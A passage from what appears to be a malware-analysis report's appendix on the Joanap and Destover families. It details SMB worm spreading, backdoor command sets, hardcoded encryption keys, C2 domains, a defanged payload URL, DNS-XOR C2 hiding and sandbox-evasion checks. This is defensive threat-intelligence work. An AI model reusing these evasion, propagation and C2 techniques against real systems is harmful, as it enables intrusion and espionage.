Operation: A North Korean APT? [Online] https://securelist.com/analysis/publications/57915/the-kimsuky-operation-a-north-korean-apt/. 15. Fox News. S. Korea Analyzes Computers Used in Cyberattacks. [Online] http://www.foxnews.com/story/2009/07/12/s-korea-analyzes-computers-used-in-cyberattacks.html. 16. v3.co.uk. South Korea blames cyber attacks on North Korean government hackers. [Online] http://www.v3.co.uk/v3-uk/news/2282616/south-korea-blames-cyber-attacks-on-north-korean-governmenthackers. 17. Chosun Ilbo. Evidence in Hacker Attack Points to N.Korea. [Online] http://english.chosun.com/site/data/html_dir/2013/04/11/2013041100648.html. APPENDIX: TECHNICAL DETAILS Note: Data used for this report has solely come from public or otherwise unrestricted sources. THE JOANAP FAMILY JOANAP.A BACKDOOR, JAN 2009 The first version of what could be called a Joanap-related malware was a series apparently compiled January 16 th January 19 2009. This is actually not a worm at all, as there is no code for network propagation present. Instead, it is a data harvester and backdoor which bears some similarity with KorDllbots API s are dynamically declared, harvested data is added to ZIP file before exfiltration, and the command structure uses a set of integers (0x1010 0x1020). As previously mentioned, the Joanap malware series contains code snippets from publicly available Rbot code (25). This includes an implementation of the Tiny Encryption Algorithm (TEA) which has been somewhat modified, as well as the Rbot PLAIN_CRYPT algorithm. The default key used in the PLAIN_CRYPT public Rbot source is the string 9024jhdho39ehe2 . This key is used if there is no other key passed to the algorithm. However, this backdoor uses the same default key as later Joanap variants - 9025jhdho39ehe2 , a one-byte change quite specific to this malware series. Joanap.A also uses a custom key which is used both in the PLAIN_CRYPT algorithm (for string decryption) and in the TEA algorithm (for data file encryption/decryption). This is the string hybrid!@hybrid!@# which is visible in cleartext inside the executable. JOANAP.B WORM, OCT 2009 This malware is significantly different from the A version. The main similarity between them is the use of the Rbot PLAIN_CRYPT algorithm for string decryption with the mentioned 9025jhdho39ehe2 default key. The custom key used is now changed to iamsorry!@1234567 The executable contains two XOR-encrypted objects in its resource section. One is a dictionary file containing passwords, stored in resource 101. The other, stored in resource 103, is an executable a copy of the legitimate PsExec tool from SysInternals. Contrary to the A version, this variant is a true worm. It generates random IP addresses and attempts to connect to these over the SMB port 445/tcp. It uses the WNetAddConnection2A API to map the remote machine as a share, using its dictionary of passwords. If this works, it will copy itself to the system folder of the remote server, and extract its embedded PsExec application to execute the file remotely. The malware does not connect directly to a C&C server. Instead it sends status mails to its controller via GMail public mail server gmail-smtp-in.l.google.com. The email will appear to be sent FROM ninja@gmail.com TO xiake722@gmail.com. Content is all in the subject field initially only version (1.1), time, and local IP address. Upon successful connection and copy to a remote machine, the malware sends mail again this time also containing remote IP, username and password, in addition to its initial fields. Above: Email transfer between Joanap and the mail server. A minor sub-variant of this Joanap generation exists. This sends email just the same way as described above, but uses a different TO address (laohu1985@gmail.com) during network propagation. JOANAP.B DOWNLOADED BACKDOOR, SEP 2009 However, spreading is not the main payload of the B version of Joanap. Instead, it attempts to download and install a second stage malware. This malware, with the sha256 hash of c6d96be46ce3d616e0cb36d53c4fade7e954e74bfd2e34f9f15c4df58fc732d2, was hosted on the URL hxxp://www.booklist.co.kr/upload/img/200810/25.gif. It would be downloaded and saved to disk under the name sysfault.exe and executed. This malware is an installer, installing a service dll in the system folder under the name sdnssec.dll . This is a listenonly backdoor, establishing a listening socket on port 136. Similar to the Joanap.A variant and other KorDllbot-related backdoors, this supports a number of integer commands. The binary contains quite a lot of debug messages helpfully explaining the functionality of these. Command 0x1010 0x1011 0x1012 0x1013 0x1014 0x1015 0x1016 0x1017 0x1018 0x1019 0x1020 0x1021 0x1023 0x1030 0x1031 0x1032 0x10FF Function List drives File browse File copy File delete File upload (to target) File download (to botmaster) Execute file Change filetime Folder download (to botmaster) Test connect Run shell command Sleep File properties Process view Process kill Process kill by name Uninstall JOANAP.C BACKDOOR, JUL 2010 The installer of Joanap.D (next entry) also actively deletes installed files named signtc.ax, signtm.ax, or signts.ax. Searching for these brought up an apparently preceding sample which uses one of these files - signtc.ax - for storing data. This sample appears to belong to a series of previous backdoors somewhat related to KorDllbot example SHA-256 hash is 4b6078e3fa321b16e94131e6859bfca4503bcb440e087d5ae0f9c87f1c77b421. We have not analyzed this variant in detail. JOANAP.D BACKDOOR, JUL 2011 This malware arrives as a service installer which extracts and installs a DLL named scardprv.dll from its resource section, and writes hardcoded configuration data to a config file named mssscardprv.ax. It also attempts to delete files installed by previous Joanap versions. The dropped service DLL has similarities with KorDllbots. It establishes a listening socket on a semi-random port which is either located between 1024 and 2048; or selected from a list of hardcoded port options. It also attempts to connect to C&C servers which are defined in the saved mssscardprv.ax file as raw IP address/port combinations. All network traffic is encrypted using RC4 with the binary key (0x10,0x20,0x30,0x40,0x50,0x60,0x70,0x80,0x90,0x11,0x12,0x13,0x1A,0xFF,0xEE,0x48), and the backdoor accepts integer commands in the range 0x4001-0x4015. API strings reside in data blocks encrypted using AES. Network API s are encrypted with the key b n4rbhriq890v9=023=01*&(T-0Q325J1N;LK' , while all others are encrypted with the key Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion . This particular AES key was also found in both Joanap and KorDllbot malware belonging to the previously mentioned MicrosoftCodeSigningPCA certificate cluster. In addition, this variant includes the Rbot PLAIN_CRYPT decryption keys 9025jhdho39ehe2 and iamsorry!@1234567 for one specific decryption scenario. So, even though it is somewhat different from previous variants, it contains enough technical indicators to link it to the Joanap family. The samples we have seen do not appear to have network spreader capability, though they may have been dropped by other malware. Above: Indicators in the binary JOANAP.E WORM, AUG-SEP 2011 Joanap.E was the first variant of this family we tied to this threat complex, due to the fact that several samples are signed using the peculiar MicrosoftCodeSigningPCA certificate format. This variant is again a worm as mentioned before, the installer drops three files one SMB spreading DLL (wmmvsvc.dll), one backdoor DLL (scardprv.dll) and one configuration file (mssscardprv.ax). The backdoor DLL and the configuration file fill the same role as in Joanap.D. The network spreader module contains some code from the B variant, but a lot of functionality has been reworked. Similarly to B, it generates semi-random IP addresses and attempts to logon to the admin account of these machines using a password dictionary. If it manages to do this, it creates a remote share named $adnim (no typo), copies the main installer (and the configuration file) over, and executes it. The authors have moved away from using PsExec for remote execution. Instead they add shares and execute the worm by creating remote service commands via the Service Control Manager. If this is successful, the worm sends a status mail the same way as the B variant. Mail is this time FROM: redhat@gmail.com TO: Joana . This malware uses the same encryption keys as the B variant. This worm sets the mutex PlatFormSDK2.1 JOANAP.F WORM, MAR 2012 We have only two slightly different samples of this generation. Again, the malware s structure has changed. It is no longer a service DLL, but instead a standalone Windows executable. Contrary to previous versions, this worm requires being started with at least one command line parameter (either i or -s), if not it just exits. The s parameter starts the spreading routine if it is installed correctly and it can find its configuration files. The samples we have come without installer or data files and do not run. There is no doubt that these samples belong to this malware family they use the same encryption keys, mutex structures and data file names as the E variant in the series. There is one notable exception: This is the first time we see the file encryption RC4 key y0uar3@s!11yid!07,ou74n60u7f001 , which closely matches the key mentioned as belonging to the SMB Word Tool in the US-CERT advisory (2) after the Sony incident, "y0uar3@s!llyid!07,ou74n60u7f001 . The difference might be due to a typo. The malware appears not to be identical though, as some other strings from the advisory YARA rule are not present. This worm sets the mutex PlatFormSDK2 JOANAP.G WORM, OCT 2014 This Joanap variation uses the mutex Global\FwtSqmSession106829323_S-1-5-19 , which also matches data from the US-CERT advisory (2). However, this time the worm has switched to a different RC4 key y@s!11yid60u7f!07ou74n001 . This variation has been detailed by researchers from PriceWaterhouseCoopers (4). JOANAP.H WORMS, OCT 2014-JAN 2015 This is a series on Joanap executables produced towards the end of 2014 and beginning of 2015. They use the mutex Global\FwtSqmSession106839323_S-1-5-20 , but the same RC4 key as the G variants. Some samples are quite a lot larger than normal on account of including a big chunk of code from the open source FreeRDP remote desktop client. Apart from this we have not analyzed these samples in detail. THE DESTOVER FAMILY DESTOVER B076E058 BACKDOORS, FEB-JUNE 2014. This sub variant has been named b076e058 based on the first portion of the RSA authentication key used for its server handshake. Most samples share the ChopString and XOR-A7 obfuscation functions with the Sony-associated malware eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55. They also declare API calls in the same way. Samples of this variant were all compiled with the library name Troy.dll in the Export Table, similar to what McAfee documented in their Operation Troy paper (5) on destructive attacks against South Korean targets. Troy.dll visible in 10d3ab45077f01675a814b189d0ac8a157be5d9f1805caa2c707eecbb2cbf9ac This variant is typically installed as service, with one export - ServiceMain . Its main purpose is to listen on a given port and accept commands. The integer codes used for these commands are: A variant: 0x54b7- 0x54cb, with the exception of 0x54be and 0x54ca. B variant: 0x54b7- 0x54cb, with the exception of 0x54be and 0x54ca, and the addition of 0x54d0. The installation is done by unobfuscated dropper executables, which install the service DLLs after performing some systems checks. DESTOVER VOLGMER BACKDOORS, MAR-SEPT 2014 Volgmer backdoors were quickly connected to the Sony case, since several samples use a C&C IP address (200.87.126.116) in common with the Sony malware droppers. The family is easily recognized by the peculiar UserAgent strings used, which all start with Mozillar/ instead of Mozilla/. These backdoors come in three flavors (that we ve found). The first batch was apparently compiled March 15, 2014. These appear to be prototypes for later versions, and helpfully contain debug strings labeling all major functionality. We have only DLL samples of this variant. The second batch was apparently compiled in April 2014. The droppers contain a service DLL and a configuration file in a password-protected zip archive embedded as a resource in the dropper executable. The dropper needs to be able to extract these files, so it also contains the password - which in this case is !1234567890 dghtdhtrhgfjnui$%^^&fdt. The third batch was apparently compiled in June and July 2014. These droppers contain a regular Win32 executable where the configuration data is contained in the exe. The dropped executable checks the current locale and will not run unless this contains the string korea. Each dropper package comes configured with partially different C&C information. True to the standard modus operandi of this group, all C&C servers are defined as raw IP addresses, typically located on ports in the 8000-range, such as 8080, 8088 or 8888. Configuration file from the first batch of Volgmer droppers - after the cgi_config marker follow IP/port pairs. Main functionality involves gathering system information and uploading this to the two main C&C servers in an encoded ZIP-archived format. They accept commands in the range 0x1000-0x1008 (A) and 0x1000-0x1012 (B/C). DESTOVER WINDOWSUPDATETRACING BACKDOORS, SEPT-OCT 2014 This malware is somewhat different in design than previously mentioned variants. The installer package installs the backdoor along with legitimate packet filtering components, and there is code to steal credentials from a great deal of different products, some of which are Korean. One interesting feature with this malware is that it has some limited support for other languages - it contains some user folder names in ex. Spanish and Portuguese in addition to English. The name WindowsUpdateTracing is derived from a mutex created by this variant typically this will WindowsUpdateTracing0.5 but the suffixes and also exist. Chopstring API obfuscation is also present. Command integers are in the range 0x58692ab8-0x58692ac0. This trojan uses a semi-traditional Command and Control model, with connections seemingly going to a number of DynDNS domains that are defined in an accompanying configuration file named msxml15.xml. This configuration file is encrypted using RC4; typically with the RC4 key BAISEO%$2fas9vQsfvx%$ though some samples use the API name GetFileAttributesW as key possibly a bug. Known C2 domains: iphoneserver.lflink.com dns05.mefound.com mx1.mefound.com dns01.vizvaz.com myserver.mrbonus.com game.dnsrd.com dns01.zzux.com exchange01.toh.info exchange04.yourtrap.com However, the DNS resolution for these domains is misleading. The IP address returned by the DNS server will be ed with a 32-bit key (we have seen two different keys, depending on variant type), which yields the correct C2 IP address to use. This means that relying on DNS resolution to identify C&C hosts will not work. IP longint returned in the DNS response is XOR ed with a dword integer. This bogus DNS response can be used in an interesting fashion. The domain mx1.mefound.com has resolved to the bogus IP 44.58.156.86. When this IP is converted using the corresponding XOR key 0x579C3A53 it becomes 127.0.0.1 i.e. localhost. Presumably this is done when the bot is not active. The IP 44.58.156.86 belongs to University of California at San Diego (UCSD) and have as far as I can tell never been used to host any publicly available domain. Still, passive DNS data shows that this IP has been the DNS response of a number of DynDNS domains; many of which we had not seen before. We may thus assume that these domains are used in backdoors containing the same XOR key as this particular Destover sample. This applies to the following additional domains: update03.compress.to baid.otzo.com mx2.mefound.com facebok.mrbasic.com report01.onedumb.com appinfo.yourtrap.com gupdate.yourtrap.com status01.instanthq.com eschool.toythieves.com gogle.jungleheart.com mycompany.moneyhome.biz Since we know the XOR key used, we can also translate any other IP s associated with these domains to presumably correct C&C IP addresses (see appendix). If we repeat this process with the other XOR key we know of 0x1AB9C2D8 - we end up with the localhost IP 127.0.0.1 translating to the bogus IP of 167.194.185.27. No additional data was found at this time using this method, but any DynDNS domain resolving to this IP in the future might be interesting to look at. DESTOVER MESSAGETHREAD BACKDOORS, MAY 2014-MAR 2015 These Destover backdoors contain the Chopstring obfuscation, as well as XOR-A7 encoding. They are straight remote control tools of the basic KorDllBot model. The name stems from the Unicode string MessageThread present in all samples of this type. The Sony Destover sample belonged to this variation. The command integers used by this variant are typically in the range 0x523b-0x5249. Unlike many other Destover trojans, some of these installers come with embedded decoy documents, hinting at intended target audience. The decoys are all in Korean language one document lists telephone numbers belonging to personnel in government and other public functions; other samples contain an invitation to the Korean Government 3.0 expo that was to be held in in Seoul. Gov 3.0 expo invitation DESTOVER B8AC0905 BACKDOOR, MAR 2015 We have only a single sample of this variant. The name b8ac0905 is derived from the authentication key string contained in the file (See appendix). The API obfuscation is here done via an encoding scheme which appears unique, but bears some similarity with RC4. We call this encoding Intbox as the S-Box is not populated using a string as input, but instead is a function of an integer key. This is a listen only backdoor, and does not call out to any C&C server directly. We do not have the configuration data that presumably was installed along with this sample, so no more details are available at this time. The integer commands it expects are 0x00-0x0f, 0x12 and 0x15. DESTOVER B59D1659 BACKDOOR, APR 2015 We have only one sample of this variant too a Win64 DLL exporting the functions ServiceMain, RasmanStart and RasManEnd.Of these, only ServiceMain has any real function. The sample attempts to impersonate the legitimate appmgmts.dll from X64 Windows 7. It is even of the exact same size as the original. The name b59d1659 is derived from the RSA authentication key string contained in the file (see appendix). The command words used by this variant are in the range 0x2638000-x236801b. The C&C configuration is read from a data flle - appmgmts.rs - which presumably is created by the installer, and which we do not have a copy of. Thus, C&C information and distribution method is unknown for this variant. DESTOVER RANDOMDOMAIN BACKDOORS, MAR-APR 2015. VERSION C JAN 2016 Destover Randomdomain backdoors have also evolved from the original KorDllbots. They come in both x86 and x64 versions. There seems to be three distinct variants of this class of backdoors with slightly different obfuscation methods used and C&C configuration, though most variants use the same API obfuscation an inline character replacement technique resulting in almost recognizable API strings in the file. We name this technique CharSwap for the purpose of this paper. They connect to their C&C servers using what appears to be SSL/TLS. This includes a remote server name indication (SNI) extension in the initial Client Hello. This server name is randomly picked from an internal list of domain names thus the name Randomdomain. A list of such names can be found in the appendix. When I say appears to be SSL/TLS, this is because the encryption actually used is not secure. The malware can choose between different simple encryption modi, and these are somewhat different between the known variants. Variant A uses either RC4 with the string TCPPROCESSREADY. as encryption key, or a XOR 0x28, SUB 0x28 encoding, or a segmented XOR encoding . Variant B uses either simple byte wise XOR encoding with a shifting key, or an even simpler XOR 0x25, SUB 0x25 encoding. Variant C uses only one the same shifting XOR encoding used by variant B. Variant C checks auto proxy settings and will connect through the configured proxy if possible. This code is not seen in earlier versions. The command words used by these backdoors are in the range 0x123459 - 0x12348a (some files to 0x123488). The two first variants were apparently in use in the first half of 2015. Variant C has been used more recently have seen only two samples, the first date stamped May 2015, the last Jan 12 , 2016. DESTOVER DUUZER BACKDOORS, MAR-OCT 2015 , JAN 2016 The Duuzer variation of Destover backdoors have evolved quite a bit from the original KorDllbot basis. They use more in-code obfuscation and are somewhat more complex. For example, string references are stored as encoded local variables in special functions. Access to these variables is obtained by calling the containing function with an offset into the variable blob, and the function decodes the correct string. Similar to the RandomDomain and e4004c1f these backdoors use specially crafted SSL headers to initiate communication with their C&C servers, but the encryption is custom. The command scheme is also somewhat unique instead of a digit to indicate which function to perform, these backdoors use binary multibyte command statements. There are several sub variants of Duuzer. One sample . (sha256 f31d6feacf2ecece13696dcc2da15d15d29028822011b45045f9efa8a0522098) appears to be a predecessor and somewhat simpler than later samples. Later variants include the live and the naver versions - based on the server name they use in their faked SSL handshake, either login.live.com or ad.naver.com . The latest versions we have seen compiled January 2016 don t even bother with these strings. As previously mentioned, Duuzer has been detailed in a report from Symantec (3). This report also mentions the connection to the Joanap malware family, and details examples of live usage of the CMXE command line execution mentioned before. This variant has been seen as the payload of trojanized HWPX documents exploiting the CVE-2015-6585 vulnerability as documented by FireEye (6). Decoy documents include invitations to events like Korean Aerospace Systems Engineering 2015, and Aeroseminar 2015; a Korean Aerospace Weapon System Development Seminar (below). An email found on VirusTotal shows that an exploited document containing this exact decoy was attempted sent to the Korean Atomic Energy Research Institute (KAERI). DESTOVER E4004C1F BACKDOOR, JUL-SEP 2015 The main differences in this backdoor arise from the inclusion of what appears to be modified open source SSL/TLS code. This is used to construct legitimate SSL headers, though the communication itself is encrypted by a homegrown encoding scheme. This backdoor is found in both x86 and x64 variants. The name e4004c1f is taken from the start of the authentication key found in all these samples. The command integers vary somewhat between sub variants: Variant A samples use the range 0x00-0x0f, with addition of bytes 0x12, 0x1b, and 0x64. Variant B samples use the range 0x0a-0x24, with exception of bytes 0x18, 0x1c, and 0x1d Variant C samples use the range 0x0a-0x26, with exception of bytes 0x18, 0x1c, and 0x1d This family has also been used as the payload of CVE-2015-6585 trojanized HWP documents. The FireEye write-up on this mentions a backdoor they name HANGMAN (7). FireEye uses a proprietary malware naming scheme which makes it somewhat difficult to correlate, but we believe this corresponds to the e4004c1f variant. In the same blog post FireEye mentions a backdoor they call PEACHPIT. Based on the code snippet shown, we believe PEACHPIT to belong to one of the early KorDllbot generations. As mentioned, the exact same CMXE code has been used in several generations from 2011 and onwards. Decoy documents used by e4004c1f include descriptions of the LDAP protocol, and a text on the virtues of Scrum vs Kanban. The latter was attempted sent to the Korean Google group sysadminstudy . It is possible that this generation of malware has been aimed at the IT/software industry. Decoy documents used by the e4004c1f variant include a Korean text on the LDAP protocol. Apart from the similarities with other malware established in the publications mentioned above, this variant has been distributed in a particular installer which includes the backdoor in an embedded password-protected zip archive. The password for this zip archive is !1234567890 dghtdhtrhgfjnui$%^^&fdt - identical to the password used by Destover Volgmer backdoors already detailed in this paper. There are also code similarities with Volgmer elsewhere for example, the function to declare network API s from ws2_32.dll is identical, and the API names are encoded using the same API obfuscation scheme. The C&C configuration can be hardcoded, or stored in a data file and subkeys under the registry key HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security. Some variant A samples uses subkey a57890bc-ca23-3453-a23c-d385e9058fdf Some variant C samples uses subkey 821d1af-7a08-4b06-81cd-869365cdf713 The network API declaration function of a Destover Volgmer and a Destover e4004c1f backdoor. DESTOVER BASICHWP BACKDOOR, SEP 2015 This generation of backdoors is similar to the previous ones in that they use a custom SSL-like protocol for C&C communication. They have been further simplified, but use more C++ classes, and the 256-bit stream cipher Caracachs (hardcoded password abcdefghijklmnopqrstuvwxyz012345 ) is used for both network traffic and API obfuscation. The same password is used in the example code for Caracachs found online (8), so no great effort has been taken to protect the encryption. This variety of Destover is the third we have seen installed by documents exploiting the CVE-2015-6585 HWP vulnerability. Command word set for this generation of backdoors is 0x8378-0x8390. Decoy document content include a CV from an apparently South Korean individual, and a document apparently from the South Korean Foreign Affairs and Unification Committee, as seen below. Decoy: State information systems audit planning document, Aug 2015 DESTOVER FORMBOUNDARY BACKDOOR, NOV 2015 This backdoor has many code overlaps with RandomDomain.B for example, it uses CharSwap API obfuscation, and uses the same set of integer commands. It has evolved away from the use of faked SSL, which means whole segments of code have been removed, including most of the domain names used for the SSL handshake. Instead, it connects to the C&C server via regular HTTP on port 80 and initially posts a blob of random data disguised as a legitimate file. Any real content is sent encrypted afterwards, using one of the bytewise XOR encodings known from RandomDomain. Sending initial POST statement to C&C server The HTTP header fields can vary many are selected from hardcoded lists, including the Host field. The FormBoundary string is terminated by a randomly generated character sequence, and the malware queries the system via the API call ObtainUserAgentString to get the current default User Agent. If this call fails, the hardcoded User Agent AgentString is used instead. DESTOVER VOLGMER2 BACKDOOR, JAN 2016 This was found as a DLL backdoor sample t(x86).dll which contained several traits in common with the Volgmer series. Further data mining revealed that identically to Volgmer, the sample is installed by a dropper which contains the DLL in an embedded zip file resource named MYRES in its body. This dropper is again extracted by another outer dropper with a similar embedded zip inside, which also in addition contains a configuration file ntuser.inf. ShADprops.dll MYRES ZIP resource Loader(x86).dll MYRES ZIP resource ntuser.inf config data t(x86).dll main payload This config file contains - among other things - C&C IP and port information, which is read and written to a registry key before being used by the main payload component. HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security subkey = 72ca1d1af-7afc-4c06-cc1d-8feaac5cdf764 Volgmer2 shares API declaration functions and string decode algorithms with the original Volgmer. However, there are also clear differences. Its network behavior has moved away from HTTP post with the recognizable Mozillar UserAgent. Instead, C&C traffic is performed via faked SSL with another encryption twist RC4 with a layer of XOR on top. They RC4 key is binary, and hardcoded in the executable: 0x0d, 0x06 ,0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82. Similarly to the RandomDomain series, Volgmer2 uses domain names chosen randomly from a list in its SSL handshake. The dropper executables in the Volgmer 1 series contained some checks for VM environments. Volgmer2 has taken this further, and included a number of anti-debugging tricks and of checks for what appears to be known sandbox environments. Volgmer1 vs Volgmer2 dropper evasions. The change also means that the malware continues to work if under a virtualized environment, if there are no other indicators that there is monitoring or debugging activity going on. The check for known sandbox environments is done by comparing the computer name with the names in the following list: MARS53 35347 JOHN-PC TVMCOM PLACEHOL-6F699A WIN7PRO-MALTEST WINDOWS-F99AACA XELRCUZ-AZ RATS-PC PXE472179 The command integers used by Volgmer2 are in the range 0x09-0x27 with the exception of 0x17, 0x1b and 0x1c. APPENDIX: ALGORITHMS AND OTHER INDICATORS Chopstring obfuscation Chopstring deobfuscator Deobfuscation of the API name before it is sent to GetProcAddress. Yes, they look up GetProcAddress using GetProcAddress. Go figure. XOR-A7 obfuscation This is a forward bytewise XOR encoding using 0xA7 as key. String deobfuscation functions in the Sony Destover (left) malware and Destover b076e058 (right). They are identical, even down to using 0xa7 as xor key. XOR-XX-SUB-XX obfuscation This is a forward bytewise XOR, SUB encoding, usually used in communication encryption/decryption. The inverse is usually also present in the form of ADD, XOR. Many different byte combinations are used in the various variants. BC-SUB API Obfuscation This is a forward bytewise decoding where the each character value is subtracted from 0xBC to arrive at a cleartext character. This decoding is used instead of ChopString in some KorDllbot variants. DB-SUB API Obfuscation This is a forward bytewise decoding where the each character value above and below is subtracted from 0xDB to arrive at a cleartext character. CharSwap API Obfuscation This is an encoding where some character ASCII values are increased or decreased by nine. CharSwap is used for obfuscation of both APIs and regular strings. Above figure shows API de-obfuscation. The CharSwapped API names GetDriveTypeA, SetFileTime and Process32Next. Intbox encoding This encoding is used instead of ChopString in some Destover variants. RC4+XOR encryption This encryption is used by Volgmer2 on network traffic data. KorDllbot / Joanap AES keys Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion b n4rbhriq890v9=023=01*&(T-0Q325J1N;LK' Koredos RC4 key A39405WKELsdfirpsdLDPskDORkbLRTP12330@3$223%! Joanap PLAIN_CRYPT keys 9025jhdho39ehe2 hybrid!@hybrid!@# iamsorry!@1234567 Destover b076e058 RSA authentication key string b076e0580463a202bad74cb9c1b85af3fb4d1be513ccca3ae8b57d193be77b4ab63802b3216d3a80b00827b693593 a76be884f41b491ee1f6136b3755add91e2de9b0f5b3849d463fcd7b9a3b6cd0744caf809f510ee04ab3c714f53422d2 4f33361f75145b08286d2d7d99704684ed1d25fd5a9dc7b993f8e4d074234fd82d3 Destover Volgmer.A RSA authentication key string bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40bd51483321ebe44595f799da8421 5ebd7137c9e267f54a342048e510fddfdec2404764fdf128c330862e747d7a98cd557a15500051a5b6651572a398bbe 5a51d52dc7af3b34b06b68c7974b9f8e45fd3636fd628c1dbcf65bbb68b2dd058017 Destover Volgmer.B/C RSA authentication key string b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d73469b8beabc14b90e907 88c28f2d7c660e43db2e6f81aa05a08cae4517845ba4b9fc614e77e39d502003fcc6712d45428f339bcc06787745f734 1e9884fae803ad2fbb9670acb15b2da62735081fb2bc2a9b8b434dbe211a4b59b03 Destover b59d1659 RSA authentication key string b59d165982e3d5721c4d40195f85aedf2a12d6616be11a2c19fa11821604edc4675bdca4f9b9cbfb27244203ca8e21 500ae592d7bb2776e8ed9179dc1fb47819f140d0052f28865c201a036f3f698d0c256c3446e09c83eda056c91ee9e25 927148a3521439d57b0682a4c2723bd18dcd37c0f9b08ff8c7c3bc37684d2b4d241 Destover b8ac0905 RSA authentication key string b8ac0905cda0360fc115f614119da76d84e2277762bd7558b2650a79013fb50138f732d5a03730d7d5b173a12d9a8 42353ca433758d417fa8b452ec075f87bf76a7056ecdd2b063432f414e4ad52fdb078b8a9d84635774e5234ce28a762 d91af1cb9c026ffd68b88f1032c9c2c8fa1d187a054f906781c56fb07b0f6bb908cb Destover e4004c1f RSA authentication key string e4004c1f94182000103d883a448b3f802ce4b44a83301270002c20d0321cfd0011ccef784c26a400f43dfb901bca753 8f2c6b176001cf5a0fd16d2c48b1d0c1cf6ac8e1da6bcc3b4e1f96b0564965300ffa1d0b601eb2800f489aa512c4b248c 01f76949a60bb7f00a40b1eab64bdd48e8a700d60b7f1200fa8e77b0a979dabf Destover Randomdomain.A/B SSL remote server names contained in Client Hello wwwimages2.adobe.com www.paypalobjects.com www.paypal.com www.linkedin.com www.apple.com www.amazon.com www.adobetag.com windowslive.tt.omtrdc.net verify.adobe.com us.bc.yahoo.com urs.microsoft.com supportprofile.apple.com support.oracle.com support.msn.com startpage.com sstats.adobe.com ssl.gstatic.com ssl.google-analytic.com srv.main.ebayrtm.com skydrive.live.com signin.ebay.com securemetrics.apple.com secureir.ebaystatic.com secure.skypeassets.com secure.skype.com secure.shared.live.com secure.logmein.com sc.imp.live.com sb.scorecardresearc.com s1-s.licdn.com s.imp.microsoft.com pixel.quantserve.com p.sfx.ms mpsnare.iesnare.com login.yahoo.com login.skype.com login.postini.com login.live.com l.betrad.com images-na.ssl-images-amazon.com fls-na.amazon.com extended-validation-ssl.verisign.com daw.apple.com csc.beap.bc.yahoo.com by.essl.optimost.com b.stats.ebay.com apps.skypeassets.com api.demandbase.com ad.naver.com accounts.google.com Destover Randomdomain.C SSL remote server names contained in Client Hello myservice.xbox.com uk.yahoo.com web.whatsapp.com www.apple.com www.baidu.com www.bing.com www.bitcoin.org www.comodo.com www.debian.org www.dropbox.com www.facebook.com www.github.com www.google.com www.lenovo.com www.microsoft.com www.paypal.com www.tumblr.com www.twitter.com www.wetransfer.com www.wikipedia.org Destover Volgmer2 SSL remote server names contained in Client Hello ad.naver.com all.baidu.com www.amazon.com www.apple.com www.bing.com www.dell.com www.hp.com www.microsoft.com www.oracle.com www.paypal.com www.uc.com www.yahoo.com (Note that domain names included in Destover SSL handshakes are legitimate and used only as disguise.) APPENDIX: THE MICROSOFTCODESIGNINGPCA SELF-SIGNED SAMPLE CLUSTER Group: 03c64293830f4c8f43666b3901d02332 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e KorDllbot v1.1 backdoor service, listening on port 179 Group: 3d348a74aab5359d422da7fad24b8c2c a7d088bf3ae2a82f711f816922779ac7b720170298ac43c76cf8c6e1aa8dfadd Proxymini 0.2.1, Luigi Auriemma fd95e095658314c9815df6a97558897cb344255bd54d03c965fa4cbd16d7bafd NoiseSin data stealer 82169a2d8f15680c93e1436687538afa01d6a2ecfe7a7cb613817c64a1a82342 NoiseSin data stealer 792b484ac94f0baefc7e016895373ba92c2927e3463f62adb701ddbe4c90604c KorDllbot backdoor (Unobfuscated API loading) 162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 KorDllbot backdoor (XOR-obfuscated API loading) 56e0b1794a588e330e32a10813cdc9904e472c55f17dd6c8de341aeaf837d077 Keylogger c16a66c1d8e681e962f03728411230fe7c618b7294c143422005785d3a724ec4 Dropper for 162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 57b4c2e71f46fe3e7811a80d19200700c15dd358bdf9d9fdf61f1c9a669f7b4b NoiseSin data stealer Group: 09b075a5393e93a3479a00051714de52 2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 Joanap backdoor and SMB worm 006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 Joanap backdoor and SMB worm dda136bc51670e57a4b2f091f83ab7b44291a9323d5483abd9e91b78221e027f Data harvester Group: 17522941a80c25ab4c9cfe5f28d9361f 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d Group: 9d0550e00b6d5da9407e28bca4336cc9 SMB worm and backdoor dropper for f901083da11222e3221f5d3e5d5f79d7ea3864282ea565e47c475ad23ef96ff4 3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e Joanap backdoor and SMB worm ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 Joanap backdoor and SMB worm Group: e7d382fb2e1ea4a44a8d193f4014e514 6e8a2329567cdbbba68460ccb97209867d7508983cb638662b33bfe90d0134d4 KorDllbot backdoor dropper, disguised as a Korean Windows hotpatch af7b53ce584b83085488e1190e1458948eaf767631f766e446354d0d5523e9d0 Dropped KorDllbot component 69300a42e055f68a8057192077fbbef3be5b66514ea9ca258b077c5c7e9417a9 KorDllbot backdoor dropper Group: 14ccfa0756059e93469bfef60935d999 e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d SMB worm and backdoor dropper for a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f 96c35225dc4cac65cc43a6cc6cdcce3d13b3bda286c8c65cad5f2879f696ad2a Backdoor dropper for 0075d16d8c86f132618c6365369ff1755525180f919eb5c103e7578be30391d6 Group: c23d8473c335159a435b5c920b961971 29355f6d4341089b36834b4a941ef96b3bf758a4fe35fbb401cc4e74b9b1c90f Yahoo IM backdoor service 